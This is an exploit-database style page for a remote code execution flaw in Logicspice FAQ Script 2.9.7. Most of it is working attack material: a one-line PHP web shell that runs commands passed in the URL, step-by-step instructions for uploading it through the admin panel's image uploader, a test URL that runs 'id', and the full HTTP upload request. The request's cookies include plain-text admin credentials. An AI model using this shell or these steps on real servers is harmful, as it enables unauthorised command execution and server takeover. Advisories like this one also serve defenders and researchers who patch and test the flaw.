Logicspice faq script 2.9.7 remote code execution Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-09-04 | Type : webapps | Platform : php
This exploit / vulnerability Logicspice faq script 2.9.7 remote code execution is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Logicspice FAQ Script 2.9.7 - Remote Code Execution
# Dork: N/A
# Date: 2018-09-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.logicspice.com/products/faq-script
# Software Link: https://www.logicspice.com/app/webroot/files/document/phpmyfaq-2.9.7.zip
# Version: 2.9.7
# Category: Webapps
# Tested on: Kali linux

# Description : Logicspice FAQ Script 2.9.7 allows to upload arbitrary files which
# leads to a remote command execution on the remote server.

# 1) Create a file with the below PHP code and save it as .php

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to FAQ Script admin portal as priviliage user
# 3) At the left hand side go to Manage FAQ --> List FAQ (http://domain/admin/faqs)
# 4) Click at the Actions button of a current FAQ product --> Edit
# 5) Click (Image) button on Content panel.
# 6) Chose Upload section and browse your .php file.
# 7) Finaly click "Send it to Server". Script will give you a link belong to
# our php file.
# 8) verift the exploit:
# http://domain/webroot/files/uploadimages/e90a3_shell.php?cmd=id

# The request:

POST
/admin/faqs/faqimages?CKEditor=faqs-answer&CKEditorFuncNum=1&langCode=en
HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://server/admin/faqs/edit/eine-frage-fuer-onkel-peter
Cookie: __asc=3c88bfff1659e6148e6168c52d2;
__auc=3c88bfff1659e6148e6168c52d2; _ga=GA1.2.696297698.1535960501;
_gid=GA1.2.2097449566.1535960501; __zlcmid=oDhc8xpdUQvf8W;
admin_username=logicspice; admin_password=faqscript_admin;
CAKEPHP=omckos7rsug4u3e1k3uebi7ma5; PHPSESSID=be29d40p12q20gtpvlea8esp23
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=---------------------------1036720403269880351068202740
Content-Length: 267
-----------------------------1036720403269880351068202740
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: application/x-php

<?php $cmd=$_GET['cmd']; system($cmd); ?>
-----------------------------1036720403269880351068202740--